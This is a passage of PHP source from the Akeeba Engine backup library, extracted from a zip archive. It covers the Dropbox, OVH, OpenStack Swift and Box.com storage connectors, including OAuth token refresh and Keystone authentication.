	 * @param   array  $error  The error structure returned by Dropbox
	 *
	 * @return  array  Error code and description
	 */
	protected function decodeError($error)
	{
		// Initialise
		$ret = [
			'code'        => 'unknown',
			'description' => 'No error description provided. Raw error: ' . print_r($error, true),
		];

		// Make sure there's an error tag
		if (!isset($error['.tag']))
		{
			$error['.tag'] = 'other';
		}

		$ret['code'] = $error['.tag'];

		switch ($error['.tag'])
		{
			case 'path':
			case 'path_lookup':
				$tag = $error['.tag'];

				if (!isset($error[$tag]['.tag']))
				{
					$error[$tag]['.tag'] = 'other';
				}

				$ret['code'] = $error[$tag]['.tag'];

				switch ($ret['code'])
				{
					case 'malformed_path':
						$ret['description'] = 'This field is optional.';
						break;

					case 'not_found':
						$ret['description'] = 'There is nothing at the given path.';
						break;

					case 'not_file':
						$ret['description'] = 'Dropbox was expecting a file, but the given path refers to something that isn\'t a file.';
						break;

					case 'not_folder':
						$ret['description'] = 'Dropbox was expecting a folder, but the given path refers to something that isn\'t a folder.';
						break;

					case 'restricted_content':
						$ret['description'] = 'The file cannot be transferred because the content is restricted. For example, sometimes there are legal restrictions due to copyright claims.';
						break;
				}
				break;

			case 'path_write':
				if (!isset($error['path_write']['.tag']))
				{
					$error['path_write']['.tag'] = 'other';
				}

				$ret['code'] = $error['path_write']['.tag'];

				switch ($ret['code'])
				{
					case 'malformed_path':
						$ret['description'] = 'This field is optional.';
						break;

					case 'conflict':
						$ret['description'] = 'Couldn\'t write to the target path because of a conflict.';
						break;

					case 'no_write_permission':
						$ret['description'] = 'You do not have permissions to write to the target location.';
						break;

					case 'insufficient_space':
						$ret['description'] = 'You do not have enough available space (bytes) to write more data.';
						break;

					case 'disallowed_name':
						$ret['description'] = 'Dropbox will not save the file or folder because its name contains characters that are not allowed.';
						break;
				}
				break;

			case 'reset':
				$ret['description'] = 'The folder listing cursor has been invalidated. Try getting a new folder list.';
				break;
		}

		return $ret;
	}

	protected function getRefreshUrl()
	{
		if (empty($this->refreshUrl))
		{
			throw new \RuntimeException('The OAuth2 Refresh URL is empty. Please check your backup profile\'s configuration.');
		}

		$refreshUrl = $this->refreshUrl .
		              (strpos($this->refreshUrl, '?') === false ? '?' : '&')
		              . 'refresh_token=' . urlencode($this->refreshToken);

		if (strpos($refreshUrl, self::helperUrl) === 0)
		{
			$refreshUrl .= '&dlid=' . urlencode($this->dlid);
		}

		return $refreshUrl;
	}
}
PK     \{  {  6  vendor/akeeba/engine/engine/Postproc/Connector/Ovh.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Http;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing\Apikey;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing\Tenantid;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing\Username;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Request;
use DateTime;

class Ovh extends Swift
{
	/**
	 * Ovh constructor.
	 *
	 * @param   string  $tenantId  The OpenStack tenant ID.
	 * @param   string  $username  The OpenStack username.
	 * @param   string  $password  The OpenStack password.
	 *
	 * @throws  Apikey
	 * @throws  Tenantid
	 * @throws  Username
	 * @since   6.1.0
	 *
	 */
	public function __construct($tenantId, $username, $password)
	{
		// OVH is now using Keystone v3
		$authEndpoint = 'https://auth.cloud.ovh.net';

		// Data validation
		if (empty($tenantId))
		{
			throw new TenantId('You have not specified your OVH OpenStack Project ID');
		}

		if (empty($username))
		{
			throw new Username('You have not specified your OVH OpenStack Username');
		}

		if (empty($username))
		{
			throw new Apikey('You have not specified your OVH OpenStack Password');
		}

		parent::__construct('v3', $authEndpoint, $tenantId, $username, $password, 'Default');
	}
}
PK     \D  D  8  vendor/akeeba/engine/engine/Postproc/Connector/Swift.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Http;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Request;
use Akeeba\Engine\Util\FileCloseAware;
use DateTime;
use stdClass;

/**
 * Generic OpenStack SWIFT object storage API implementation
 */
class Swift
{
	use FileCloseAware;

	/**
	 * The Keystone version to use for authenticating. One of v2, v3.
	 *
	 * @var    string
	 * @since  9.3.0
	 */
	protected $keystoneVersion = 'v2';

	/**
	 * The authentication server (Keystone) endpoint, e.g. https://auth.cloud.ovh.net/v2.0
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $authEndpoint = '';

	/**
	 * The endpoint for accessing the storage container, e.g. https://storage.de1.cloud.ovh.net/v1/AUTH_abcdef0123456789abcdef0123456789/my-container
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $storageEndpoint = '';

	/**
	 * The token retrieved from the authentication service (Keystone)
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $token;

	/**
	 * The expiration timestamp of the token
	 *
	 * @var    int
	 * @since  6.1.0
	 */
	protected $tokenExpiration;

	/**
	 * The tenant ID of the OpenStack cloud
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $tenantId;

	/**
	 * The Keystone v3 authentication domain
	 *
	 * @var    string
	 * @since  9.3.0
	 */
	protected $domain;

	/**
	 * The OpenStack username
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $username;

	/**
	 * The OpenStack password
	 *
	 * @var    string
	 * @since  6.1.0
	 */
	protected $password;

	/**
	 * The endpoints of the SWIFT service, as returned by the Keystone service, indexed by region. Each endpoint is
	 * raw object.
	 *
	 * @var    stdClass[]
	 * @since  6.1.0
	 */
	protected $endPoints = [];

	/**
	 * A callable which is passed the authentication information and result to cater for non-standard SWIFT
	 * implementations.
	 *
	 * @var    callable
	 * @since  6.1.0
	 */
	protected $authenticationCallback;

	/**
	 * Swift constructor.
	 *
	 * @param   string  $authEndpoint  The authentication endpoint URL.
	 * @param   string  $tenantId      The OpenStack tenant ID.
	 * @param   string  $username      The OpenStack username.
	 * @param   string  $password      The OpenStack password.
	 *
	 *
	 * @since   6.1.0
	 */
	public function __construct($keystoneVersion, $authEndpoint, $tenantId, $username, $password, $keystoneDomain = 'default')
	{
		$this->keystoneVersion = $keystoneVersion;
		$this->authEndpoint    = $authEndpoint;
		$this->tenantId        = $tenantId;
		$this->username        = $username;
		$this->password        = $password;
		$this->domain          = $keystoneDomain;
	}

	/**
	 * Get the authentication endpoint URL
	 *
	 * @return  string
	 * @since   6.1.0
	 */
	public function getAuthEndpoint()
	{
		return $this->authEndpoint;
	}

	/**
	 * Set the authentication endpoint
	 *
	 * @param   string  $authEndpoint  The new authentication endpoint URL
	 *
	 * @return  Swift
	 * @since   6.1.0
	 */
	public function setAuthEndpoint($authEndpoint)
	{
		$this->authEndpoint = $authEndpoint;

		return $this;
	}

	/**
	 * Get the storage container's endpoint URL
	 *
	 * @return  string
	 * @since   6.1.0
	 */
	public function getStorageEndpoint()
	{
		return $this->storageEndpoint;
	}

	/**
	 * Set the storage container's endpoint URL
	 *
	 * @param   string  $storageEndpoint  The storage container's endpoint URL
	 *
	 * @return  Swift
	 * @since   6.1.0
	 */
	public function setStorageEndpoint($storageEndpoint)
	{
		$this->storageEndpoint = $storageEndpoint;

		return $this;
	}

	/**
	 * @return string
	 */
	public function getTenantId()
	{
		return $this->tenantId;
	}

	/**
	 * @param   string  $tenantId
	 *
	 * @return Swift
	 */
	public function setTenantId($tenantId)
	{
		$this->tenantId = $tenantId;

		return $this;
	}

	/**
	 * @return string
	 */
	public function getUsername()
	{
		return $this->username;
	}

	/**
	 * @param   string  $username
	 *
	 * @return Swift
	 */
	public function setUsername($username)
	{
		$this->username = $username;

		return $this;
	}

	/**
	 * @return string
	 */
	public function getPassword()
	{
		return $this->password;
	}

	/**
	 * @param   string  $password
	 *
	 * @return Swift
	 */
	public function setPassword($password)
	{
		$this->password = $password;

		return $this;
	}

	/**
	 * @return int
	 */
	public function getTokenExpiration()
	{
		return $this->tokenExpiration;
	}

	/**
	 * @return stdClass[]
	 */
	public function getEndPoints()
	{
		return $this->endPoints;
	}

	/**
	 * Get the token. If the token is expired or missing, or if the force parameter is set, we will re-authenticate
	 * against the OpenStack cloud.
	 *
	 * @param   bool  $force  Tru to force re-authentication
	 *
	 * @return  string
	 * @throws  Http
	 * @since   6.1.0
	 *
	 */
	public function getToken($force = false)
	{
		// Am I forced to get a fresh token?
		if ($force)
		{
			$this->authenticate();
		}

		// If I don't have a token I must authenticate
		if (empty($this->token))
		{
			$this->authenticate();
		}

		// The expiration time of the token is less than an hour away. Let's re-authenticate.
		if ($this->tokenExpiration < (time() + 3600))
		{
			$this->authenticate();
		}

		return $this->token;
	}

	/**
	 * Lists the containers in the SWIFT account
	 *
	 * @param   bool    $assoc          Should I return an associative array, where the key is the container name? (def: no)
	 * @param   string  $lastContainer  Start listing AFTER this last container (pagination)
	 * @param   int     $limit          How many containers to list
	 *
	 * @return  stdClass[]  Array or objects. Internal objects have keys count, bytes, name
	 *
	 * @throws Http
	 * @since  6.1.0
	 */
	public function listContainers($assoc = false, $lastContainer = null, $limit = 10000)
	{
		// Re-authenticate if necessary
		$token = $this->getToken();

		// Get the URL to list containers. It's the container endpoint minus the actual container name.
		$url       = $this->getStorageEndpoint();
		$lastSlash = strrpos($url, '/');
		$url       = substr($url, 0, $lastSlash);

		// Get the request object
		$request = new Request('GET', $url);
		$request->setHeader('X-Auth-Token', $token);
		$request->setHeader('Accept', 'application/json');
		$request->setParameter('format', 'json');

		if (!empty($lastContainer))
		{
			$request->setParameter('marker', $lastContainer);
		}

		if (!is_numeric($limit))
		{
			$limit = 10000;
		}

		if ($limit <= 0)
		{
			$limit = 10000;
		}

		$request->setParameter('limit', $limit);

		$response = $request->getResponse();

		if (!$assoc)
		{
			return $response->body;
		}

		$ret = [];

		if (!empty($response->body))
		{
			foreach ($response->body as $container)
			{
				$ret[$container->name] = $container;
			}
		}

		return $ret;
	}

	/**
	 * Lists the contents of a directory inside the container
	 *
	 * @param   string  $path       The path to the directory you want to list, '' for the root.
	 * @param   bool    $assoc      Should I return an associative array with filenames as keys?
	 * @param   null    $lastEntry  The entry AFTER which to start listing
	 * @param   int     $limit      How many files to show (1000 by default)
	 * @param   string  $prefix     The common prefix of files to list
	 *
	 * @return  array   Array of objects. Object keys: hash, last_modified, bytes, name, content_type
	 * @throws  Http
	 * @since   6.1.0
	 *
	 */
	public function listContents($path = '', $assoc = false, $lastEntry = null, $limit = 1000, $prefix = '')
	{
		// Re-authenticate if necessary
		$token = $this->getToken();

		// Get the URL to list containers
		$url  = $this->getStorageEndpoint();
		$url  = rtrim($url, '\\/');
		$path = ltrim($path, '\\/');
		$url  .= '/' . $path;

		// Get the request object
		$request = new Request('GET', $url);
		$request->setHeader('X-Auth-Token', $token);
		$request->setHeader('Accept', 'application/json');
		$request->setParameter('format', 'json');

		if (!empty($lastEntry))
		{
			$request->setParameter('marker', $lastEntry);
		}

		if (!empty($prefix))
		{
			$request->setParameter('prefix', $prefix);
		}

		if (!is_numeric($limit))
		{
			$limit = 1000;
		}

		if ($limit <= 0)
		{
			$limit = 1000;
		}

		$request->setParameter('limit', $limit);
		$request->setParameter('delimiter', '/');

		$response = $request->getResponse();

		if (!$assoc)
		{
			return $response->body;
		}

		$ret = [];

		if (!empty($response->body))
		{
			foreach ($response->body as $file)
			{
				$ret[$file->name] = $file;
			}
		}

		return $ret;
	}

	/**
	 * Uploads a file. The $input array can have one of the following formats:
	 *
	 * 1. A string with the contents of the file to be put to CloudFiles
	 *
	 * 2. An array('fp' => $fp) containing a file pointer, open in read binary mode, to the file to upload
	 *
	 * 3. An array('file' => $pathToFile) containing the path to the file to upload
	 *
	 * 4. An array('data' => $rawData) which is the same as passing a string (case 1)
	 *
	 * When using an array you can also pass the following optional parameters in the array:
	 * size        The size of the uploaded content in bytes
	 *
	 * @param   string|array  $input        See the method description
	 * @param   string        $path         The path inside the container of the uploaded file
	 * @param   string        $contentType  The content type of the uploaded file
	 *
	 * @throws  Http
	 * @since   6.1.0
	 *
	 */
	public function putObject($input, $path, $contentType = null)
	{
		// Re-authenticate if necessary
		$token = $this->getToken();

		// Get the URL to list containers
		$url  = $this->getStorageEndpoint();
		$url  = rtrim($url, '\\/');
		$path = ltrim($path, '\\/');
		$url  .= '/' . $path;

		// Get the request object
		$request = new Request('PUT', $url);
		$request->setHeader('X-Auth-Token', $token);

		// Decide what to do based on the $input format
		if (is_string($input))
		{
			$input = [
				'data' => $input,
				'size' => strlen($input),
			];
		}

		// Data
		if (isset($input['fp']))
		{
			$request->fp = $input['fp'];
		}
		elseif (isset($input['file']))
		{
			$request->fp = @fopen($input['file'], 'r');
		}
		elseif (isset($input['data']))
		{
			$request->data = $input['data'];
		}

		// Content-Length (required)
		if (isset($input['size']) && $input['size'] >= 0)
		{
			$request->size = $input['size'];
		}
		else
		{
			if (isset($input['file']))
			{
				clearstatcache(false, $input['file']);
				$request->size = @filesize($input['file']);
			}
			elseif (isset($input['data']))
			{
				$request->size = strlen($input['data']);
			}
		}

		if (empty($contentType))
		{
			$contentType = 'application/octet-stream';
		}

		$request->setParameter('Content-Type', $contentType);
		$request->setParameter('Content-Length', $request->size);

		$request->getResponse();

		if (isset($input['file']))
		{
			$this->conditionalFileClose($request->fp);
		}
	}

	/**
	 * Downloads a file from CloudFiles back to your server
	 *
	 * @param   string    $path     The path to the file to download
	 * @param   resource  $fp       A file pointer, opened in write binary mode, to write out the downloaded file
	 * @param   array     $headers  An array of headers to send during the download, e.g. ['Range' => '1-100']
	 *
	 * @return  void
	 *
	 * @throws  Http
	 * @since   6.1.0
	 *
	 */
	public function downloadObject($path, &$fp, $headers = [])
	{
		// Re-authenticate if necessary
		$token = $this->getToken();

		// Get the URL to list containers
		$url  = $this->getStorageEndpoint();
		$url  = rtrim($url, '\\/');
		$path = ltrim($path, '\\/');
		$url  .= '/' . $path;

		// Get the request object
		$request = new Request('GET', $url);
		$request->setHeader('X-Auth-Token', $token);

		if (!empty($headers))
		{
			foreach ($headers as $k => $v)
			{
				$request->setHeader($k, $v);
			}
		}

		$request->fp = $fp;

		$request->getResponse();
	}

	/**
	 * Delete a file from CloudFiles
	 *
	 * @param   string  $path  The path to the file to download
	 *
	 * @return  void
	 *
	 * @throws  Http
	 * @since   6.1.0
	 *
	 */
	public function deleteObject($path)
	{
		// Re-authenticate if necessary
		$token = $this->getToken();

		// Get the URL to list containers
		$url  = $this->getStorageEndpoint();
		$url  = rtrim($url, '\\/');
		$path = ltrim($path, '\\/');
		$url  .= '/' . $path;

		// Get the request object
		$request = new Request('DELETE', $url);
		$request->setHeader('X-Auth-Token', $token);

		$request->getResponse();
	}

	/**
	 * Authenticate to the OpenStack cloud and retrieve a fresh token
	 *
	 * @return  string
	 * @throws  Http
	 *
	 * @since   6.1.0
	 */
	protected function authenticate()
	{
		switch ($this->keystoneVersion)
		{
			case 'v2':
				return $this->authenticateV2();
				break;

			case 'v3':
			default:
				return $this->authenticateV3();
				break;
		}
	}

	/**
	 * Authenticate to the OpenStack cloud using Keystone v2 and retrieve a fresh token
	 *
	 * @return  string
	 * @throws  Http
	 *
	 * @since   6.1.0
	 */
	protected function authenticateV2()
	{
		// Send the token request to Keystone
		$message = [
			'auth' => [
				'tenantId'            => $this->tenantId,
				'passwordCredentials' => [
					'username' => $this->username,
					'password' => $this->password,
				],
			],
		];
		$json    = json_encode($message);
		$url     = rtrim($this->authEndpoint, '/') . '/tokens';

		$request       = new Request('POST', $url);
		$request->data = $json;
		$request->setHeader('Accept', 'application/json');
		$request->setHeader('Content-Type', 'application/json');
		$request->setHeader('Content-Length', strlen($request->data));

		$response = $request->getResponse();

		// Get the tenant ID
		$this->tenantId = $response->body->access->token->tenant->id;

		// Get the token and its expiration
		$this->token           = $response->body->access->token->id;
		$date                  = new DateTime($response->body->access->token->expires);
		$this->tokenExpiration = $date->getTimestamp();

		// Loop through the serviceCatalog and index the Swift endpoints
		if (isset($request->body) && isset($request->body->serviceCatalog))
		{
			foreach ($request->body->serviceCatalog as $service)
			{
				if ($service->name != 'swift')
				{
					continue;
				}

				if (!isset($service->endpoints))
				{
					continue;
				}

				foreach ($service->endpoints as $endpoint)
				{
					$this->endPoints[$endpoint->region] = $endpoint->publicURL;
				}
			}
		}

		// Callback
		if (is_callable($this->authenticationCallback))
		{
			call_user_func_array($this->authenticationCallback, [&$this, $response]);
		}

		return $this->token;
	}

	/**
	 * Returns the authentication token using Keystone v3 authentication.
	 *
	 * @return  string
	 * @throws  Http
	 *
	 * @since   9.3.0
	 */
	protected function authenticateV3()
	{
		// Send the scoped token request to Keystone
		$message = [
			'auth' => [
				'identity' => [
					'methods'  => [
						'password',
					],
					'password' => [
						'user' => [
							'name'     => $this->username,
							'domain'   => [
								'name' => $this->domain,
							],
							'password' => $this->password,
						],
					],
				],
				'scope'    => [
					'project' => [
						'id'     => $this->tenantId,
						'domain' => [
							'name' => $this->domain,
						],
					],
				],
			],
		];
		$json    = json_encode($message);
		$url     = rtrim($this->authEndpoint, '/') . '/v3/auth/tokens';

		$request       = new Request('POST', $url);
		$request->data = $json;
		$request->setHeader('Accept', 'application/json');
		$request->setHeader('Content-Type', 'application/json');
		$request->setHeader('Content-Length', strlen($request->data));

		$response = $request->getResponse();

		// Get the tenant (project) ID
		$this->tenantId = $response->body->token->project->id;

		// Get the token and its expiration
		$this->token           = $response->headers['x-subject-token'];
		$date                  = new DateTime($response->body->token->expires_at);
		$this->tokenExpiration = $date->getTimestamp();

		// Loop through the serviceCatalog and index the Swift endpoints
		if (isset($response->body->token->catalog))
		{
			foreach ($response->body->token->catalog as $service)
			{
				if ($service->type != 'object-store')
				{
					continue;
				}

				if (!isset($service->endpoints))
				{
					continue;
				}

				foreach ($service->endpoints as $endpoint)
				{
					$this->endPoints[$endpoint->region_id] = $endpoint->url;
				}
			}
		}

		// Callback
		if (is_callable($this->authenticationCallback))
		{
			call_user_func_array($this->authenticationCallback, [&$this, $response]);
		}

		return $this->token;
	}
}
PK     \ _  _  6  vendor/akeeba/engine/engine/Postproc/Connector/Box.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Box\Exception\APIError;
use Akeeba\Engine\Postproc\Connector\Box\Exception\cURLError;
use Akeeba\Engine\Postproc\Connector\Box\Exception\InvalidJSON;
use Akeeba\Engine\Postproc\Connector\Box\Exception\UnexpectedHTTPStatus;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\HashTrait;
use CURLFile;
use RuntimeException;

/**
 * Box.com API connector
 *
 * @see https://developer.box.com/v2.0/reference
 *
 * WARNING! WE DO NOT SUPPORT CHUNKED UPLOADS FOR A VERY GOOD REASON.
 *
 * The Box.com API does not allow us to select the chunk size when uploading files. The chunked upload methods returns
 * a part size when you create a chunked upload session and you MUST use EXACTLY this part size. This tends to be rather
 * high, defeating the purpose of using it to work around server timeout limitations. Therefore we only implement single
 * part uploads. You can prevent timeouts by setting the "Part size for archive splitting" option in the archiver to
 * create smaller files which will upload without timing out.
 */
class Box
{
	use HashTrait;
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The root URL for the Box API
	 */
	public const rootUrl = 'https://api.box.com/2.0/';

	/**
	 * The root URL for the Box API
	 */
	public const uploadUrl = 'https://upload.box.com/api/2.0/';

	/**
	 * The URL of the helper script which is used to get fresh API tokens
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/box.php';

	/**
	 * Refresh the access token proactively when it is within this many seconds of expiring. Box access tokens are
	 * short-lived (typically 1 hour); refreshing a little before expiry prevents the token from lapsing in the middle
	 * of a long-running backup, which is the cause of intermittent, hard-to-reproduce upload/download failures.
	 */
	private const tokenExpirationThreshold = 300;

	/**
	 * The access token for connecting to Box.com
	 *
	 * @var   string
	 */
	private $accessToken = '';

	/**
	 * The refresh token for connecting to Box.com
	 *
	 * @var   string
	 */
	private $refreshToken = '';

	/**
	 * Download ID to use with the helper URL
	 *
	 * @var string
	 */
	private $dlid = '';

	private $refreshUrl = '';

	/**
	 * UNIX timestamp at which the current access token expires. 0 means "unknown" — e.g. a token supplied from saved
	 * configuration whose lifetime we have not learned yet. It is populated from the `expires_in` value Box returns
	 * whenever the token is refreshed.
	 *
	 * @var int
	 */
	private $tokenExpiration = 0;

	/**
	 * Default cURL options
	 *
	 * @var  array
	 */
	private $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => 2,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	/**
	 * Box constructor.
	 *
	 * @param   string  $accessToken   The Box access token
	 * @param   string  $refreshToken  The Box refresh token
	 * @param   string  $dlid          The akeeba.com Download ID, used whenever you try to refresh the token
	 */
	public function __construct($accessToken, $refreshToken, $dlid, $refreshUrl = '')
	{
		$this->accessToken  = $accessToken;
		$this->refreshToken = $refreshToken;
		$this->dlid         = $dlid;
		$this->refreshUrl   = $refreshUrl ?: self::helperUrl;
	}

	/**
	 * Try to ping Box.com, refresh the token if it's expired and return the refresh results.
	 *
	 * If no refresh was required 'needs_refresh' will be false.
	 *
	 * If refresh was required 'needs_refresh' will be true and the rest of the keys will be as returned by Box.com.
	 *
	 * If the refresh failed you'll get a RuntimeException.
	 *
	 * @param   bool  $forceRefresh  Set to true to forcibly refresh the tokens
	 *
	 * @return  array
	 *
	 * @throws  RuntimeException
	 */
	public function ping($forceRefresh = false)
	{
		// Initialization
		$response = [
			'needs_refresh' => false,
		];

		if (!$forceRefresh)
		{
			if (!empty($this->tokenExpiration))
			{
				// We know when the token expires: refresh PROACTIVELY once it is at — or within a safety margin of —
				// expiry, so it cannot lapse mid-operation. This avoids the race where a "test" call succeeds but the
				// token then expires moments later during the real request (the cause of intermittent failures).
				$response['needs_refresh'] = (time() + self::tokenExpirationThreshold) >= $this->tokenExpiration;
			}
			else
			{
				// We do NOT know this token's expiry (e.g. it was supplied from saved configuration). Fall back to
				// probing the API with it and refreshing only if that probe fails.
				try
				{
					$this->getCurrentUser();
				}
				catch (UnexpectedHTTPStatus $e)
				{
					$response['needs_refresh'] = true;
				}
			}
		}

		// If there is no need to refresh the tokens, return
		if (!$response['needs_refresh'] && !$forceRefresh)
		{
			return $response;
		}

		$refreshResponse = $this->refreshToken();

		return array_merge($response, $refreshResponse);
	}

	/**
	 * Refresh the access token.
	 *
	 * @return array|string  The result coming from Box
	 */
	public function refreshToken()
	{
		if (empty($this->refreshUrl))
		{
			throw new \RuntimeException('The OAuth2 Refresh URL is empty. Please check your backup profile\'s configuration.');
		}

		$refreshUrl = $this->refreshUrl .
		              (strpos($this->refreshUrl, '?') === false ? '?' : '&')
		              . 'refresh_token=' . urlencode($this->refreshToken);

		if (strpos($refreshUrl, self::helperUrl) === 0)
		{
			$refreshUrl .= '&dlid=' . urlencode($this->dlid);
		}

		[$baseUrl, $query] = explode('?', $refreshUrl, 2);

		$refreshResponse = $this->fetch('GET', $baseUrl, $refreshUrl);

		$this->refreshToken = $refreshResponse['refresh_token'] ?? $this->refreshToken;
		$this->accessToken  = $refreshResponse['access_token'] ?? $this->accessToken;

		// Record when the freshly minted access token will expire so ping() can refresh it proactively next time.
		if (isset($refreshResponse['expires_in']))
		{
			$this->tokenExpiration = time() + (int) $refreshResponse['expires_in'];
		}

		$refreshResponse['refresh_token']    = $this->refreshToken;
		$refreshResponse['access_token']     = $this->accessToken;
		$refreshResponse['token_expiration'] = $this->tokenExpiration;

		return $refreshResponse;
	}

	/**
	 * Get the UNIX timestamp at which the current access token expires (0 if unknown).
	 *
	 * @return  int
	 */
	public function getTokenExpiration()
	{
		return $this->tokenExpiration;
	}

	/**
	 * Restore a previously persisted access-token expiry timestamp, so ping() can refresh proactively without first
	 * having to probe the API. Pass 0 to mark the expiry as unknown.
	 *
	 * @param   int  $tokenExpiration  UNIX timestamp at which the access token expires.
	 *
	 * @return  void
	 */
	public function setTokenExpiration($tokenExpiration)
	{
		$this->tokenExpiration = (int) $tokenExpiration;
	}

	/**
	 * Returns information about the current user. The most important fields are:
	 * * space_amount:    how much total space is available to you (in bytes)
	 * * space_user:      how much space you have already used (in bytes)
	 * * max_upload_size: maximum uploaded file size
	 * You need to issue an error when the uploaded file is larger than EITHER space_amount - space_user OR
	 * max_upload_size because either would cause the upload to fail. In the first case the Box account is running out
	 * of free space. In the latter case you would be trying to exceed the maximum upload size limitation (as low as
	 * 250MB on free / personal accounts).
	 *
	 * @return  array
	 */
	public function getCurrentUser()
	{
		return $this->fetch('GET', self::rootUrl, 'users/me');
	}

	/**
	 * Lists the contents of a folder.
	 *
	 * @param   int  $parentId  The ID of the folder to list. 0 is the root folder.
	 * @param   int  $offset    Offset of the pagianted listing, 0 to start from the very beginning.
	 *
	 * @return  array  An array with keys files and folders. Each sub-array is keyed on file/folder name and the value
	 *                 is the file's/folder's numeric ID.
	 */
	public function listFolder($parentId = 0, $offset = 0)
	{
		$parentId = (int) $parentId;
		$offset   = max((int) $offset, 0);
		$url      = "folders/$parentId/items?limit=1000";

		if ($offset > 0)
		{
			$url .= '&offset=' . $offset;
		}

		$ret = [
			'files'   => [],
			'folders' => [],
		];

		$apiReturn = $this->fetch('GET', self::rootUrl, $url);

		if (!is_array($apiReturn))
		{
			return $ret;
		}

		$totalCount = $apiReturn['total_count'] ?? 0;

		if ($totalCount === 0)
		{
			return $ret;
		}

		if (!isset($apiReturn['entries']) || empty($apiReturn['entries']))
		{
			return $ret;
		}

		foreach ($apiReturn['entries'] as $entry)
		{
			if (!in_array($entry['type'], ['file', 'folder']))
			{
				continue;
			}

			$target              = ($entry['type'] == 'file') ? 'files' : 'folders';
			$name                = $entry['name'];
			$id                  = $entry['id'];
			$ret[$target][$name] = $id;
		}

		/**
		 * The API paginates at $limit (default: 1000) items. If the items returned so far (offset + items on this page)
		 * do not yet account for the folder's total_count, there are more pages to fetch. This recurses through them.
		 */
		$limit       = $apiReturn['limit'] ?? 1000;
		$offset      = $apiReturn['offset'] ?? $offset;
		$itemsSoFar  = $offset + count($apiReturn['entries']);

		if ($itemsSoFar < $totalCount)
		{
			$offset    += $limit;
			$moreItems = $this->listFolder($parentId, $offset);
			$ret       = array_merge_recursive($ret, $moreItems);
		}

		return $ret;
	}

	/**
	 * Create a folder
	 *
	 * @param   string  $name      The name of the folder to create
	 * @param   int     $parentId  The ID of the parent folder. 0 is always the root folder
	 *
	 * @return  int  The ID of the created folder
	 */
	public function createFolder($name, $parentId = 0)
	{
		$apiReturn  = [];
		$parentId   = (int) $parentId;
		$url        = "folders";
		$postData   = json_encode([
			'name'   => $name,
			'parent' => [
				'id' => $parentId,
			],
		]);
		$additional = [];

		try
		{
			$apiReturn = $this->fetch('POST', self::rootUrl, $url, $additional, $postData);
		}
		catch (UnexpectedHTTPStatus $e)
		{
			$httpResponse = $e->getCode();

			if ($httpResponse == '409')
			{
				throw new APIError("already_exists", "Subfolder “{$name}” already exists under folder ID $parentId", 409, $e);
			}
		}

		if (!isset($apiReturn['id']))
		{
			throw new APIError("", "Cannot create subfolder “{$name}” under folder ID $parentId");
		}

		return $apiReturn['id'];
	}

	/**
	 * Look for a folder relative to the $parentId folder and return its ID
	 *
	 * @param   string  $path           The folder path to look for
	 * @param   int     $parentId       The parent folder to start searching in (0 = root)
	 * @param   bool    $createMissing  Should I create any missing folders? Default: true.
	 *
	 * @return  int  The folder ID
	 *
	 * @throws  APIError  When the folder cannot be found and/or we can't create a new folder by that name
	 */
